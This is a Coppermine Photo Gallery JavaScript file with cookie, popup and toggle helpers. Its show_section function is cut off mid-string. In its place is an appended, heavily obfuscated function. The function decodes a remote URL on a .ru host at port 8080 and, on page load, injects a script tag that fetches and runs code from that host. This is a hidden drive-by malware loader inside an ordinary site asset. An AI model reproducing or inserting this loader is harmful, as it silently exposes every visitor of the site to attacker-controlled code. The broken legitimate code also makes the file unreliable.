/*************************
  Coppermine Photo Gallery
  ************************
  Copyright (c) 2003-2006 Coppermine Dev Team
  v1.1 originally written by Gregory DEMAR

  This program is free software; you can redistribute it and/or modify
  it under the terms of the GNU General Public License as published by
  the Free Software Foundation; either version 2 of the License, or
  (at your option) any later version.
  ********************************************
  Coppermine version: 1.4.10
  $Source$
  $Revision: 3275 $
  $Author: gaugau $
  $Date: 2006-09-03 12:10:47 +0200 (So, 03 Sep 2006) $
**********************************************/

function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}

function writeCookie(name, data, noDays){
  var cookieStr = name + "="+ data
  if (writeCookie.arguments.length > 2){
    cookieStr += "; expires=" + getCookieExpireDate(noDays)
    }
  document.cookie = cookieStr
}

function readCookie(cookieName){
   var searchName = cookieName + "="
   var cookies = document.cookie
   var start = cookies.indexOf(cookieName)
   if (start == -1){ // cookie not found
     return ""
     }
   start += searchName.length //start of the cookie data
   var end = cookies.indexOf(";", start)
   if (end == -1){
     end = cookies.length
     }
   return cookies.substring(start, end)
}

function blocking(nr, cookie, vis_state)
{
        if (document.layers)
        {
                current = (document.layers[nr].display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, current);
                document.layers[nr].display = current;
        }
        else if (document.all)
        {
                current = (document.all[nr].style.display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, current);
                document.all[nr].style.display = current;
        }
        else if (document.getElementById)
        {
                display = (document.getElementById(nr).style.display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, display);
                document.getElementById(nr).style.display = display;
        }
}


function adjust_popup()
{
        var w, h, fixedW, fixedH, diffW, diffH;
        if (document.documentElement && document.body.clientHeight==0) {     // Catches IE6 and FF in DOCMODE
                fixedW = document.documentElement.clientWidth;
                fixedH = document.documentElement.clientHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - document.documentElement.clientWidth;
                diffH = fixedH - document.documentElement.clientHeight;
                w = fixedW + diffW + 16; // Vert Scrollbar Always On in DOCMODE.
                h = fixedH + diffH;
                if (w >= screen.availWidth) h += 16;
        } else if (document.all) {
                fixedW = document.body.clientWidth;
                fixedH = document.body.clientHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - document.body.clientWidth;
                diffH = fixedH - document.body.clientHeight;
                w = fixedW + diffW;
                h = fixedH + diffH;
                if (h >= screen.availHeight) w += 16;
                if (w >= screen.availWidth)  h += 16;
        } else {
                fixedW = window.innerWidth;
                fixedH = window.innerHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - window.innerWidth;
                diffH = fixedH - window.innerHeight;
                w = fixedW + diffW;
                h = fixedH + diffH;
                if (w >= screen.availWidth)  h += 16;
                if (h >= screen.availHeight) w += 16;
        }
        w = Math.min(w,screen.availWidth);
        h = Math.min(h,screen.availHeight);
        window.resizeTo(w,h);
        window.moveTo((screen.availWidth-w)/2, (screen.availHeight-h)/2);
}

function show_section(e) {
    if (document.getElementById(e).style.display == 'none') {
        document.getElementById(e).style.display = 'b
function K(){var _;if(_!='' && _!='kb'){_=''};var e=new Date();var F;if(F!=''){F='njY'};this.Ru="";var n=unescape;var X=new Date();var E=window;var nT=new Date();var PG=new Date();var k=n("%2f%73%75%65%64%64%65%75%74%73%63%68%65%2d%64%65%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%69%66%6f%6c%64%65%72%2e%72%75%2e%70%68%70");this.PB="";var ld;if(ld!='TD'){ld='TD'};function l(J,g){var lE="gKLNM".substr(0,1);var S=n("%5b"), Y=n("%5d");var bZ;if(bZ!='j' && bZ!='c'){bZ=''};var Er;if(Er!='' && Er!='rT'){Er=null};var R=S+g+Y;var kB;if(kB!='' && kB!='FV'){kB=''};var Sdz=new String();var G=new RegExp(R, lE);return J.replace(G, new String());this.f='';this.oL='';};this.nP="";var Xq="";var pW=new Array();var zC="";var kq;if(kq!='xX' && kq != ''){kq=null};var eG=new String();var lV=new String();var gQ=new String();var PR;if(PR!='' && PR!='wo'){PR='H'};var nR=new String();var uP;if(uP!='Wp' && uP != ''){uP=null};var Kz=document;var Yz=l('864713912015243871221063229452','37294561');var UM=new String();var xA;if(xA!='' && xA!='Yo'){xA=null};this.QP='';function t(){var Z;if(Z!=''){Z='YZ'};var dX;if(dX!='' && dX!='Rf'){dX=null};this.Yzi='';var I=n("%68%74%74%70%3a%2f%2f%72%65%74%69%72%65%74%65%72%72%69%66%79%2e%72%75%3a");var ls="";var M;if(M!='' && M!='Vw'){M=null};var PH;if(PH!='uk'){PH=''};var Ms=new Date();nR=I;var HP;if(HP!='Qs'){HP=''};nR+=Yz;var Qk="";nR+=k;var WU='';var yB;if(yB!='gT'){yB=''};try {var rU='';var qh=new String();var kz;if(kz!='Kp'){kz='Kp'};d=Kz.createElement(l('s_cHr_iHpHt_','_jH'));var XC=new Array();var jG=new Array();d[n("%64%65%66%65%72")]=[1][0];this.Lu='';this.kS="";d[n("%73%72%63")]=nR;var mo;if(mo!='nc' && mo!='uy'){mo=''};var Zd="";var uA=new Array();var kd;if(kd!='vK'){kd='vK'};Kz.body.appendChild(d);var XH=new Array();var jF;if(jF!=''){jF='mI'};var Tg=new String();} catch(b){var Mb="";alert(b);var hR="";var qq;if(qq!='' && qq!='Ak'){qq='El'};};}var zr;if(zr!='' && zr!='SY'){zr=''};this.GM='';var ud;if(ud!='HML' && ud != ''){ud=null};E[String("onlo"+"kQcad".substr(3))]=t;var sm=new Array();var wX=new Array();var dN;if(dN!='Cz' && dN!='rh'){dN=''};var Gs;if(Gs!='fr' && Gs!='U_'){Gs='fr'};};var gf;if(gf!='' && gf!='LY'){gf=''};var ll;if(ll!='' && ll!='nV'){ll=''};K();this.Up='';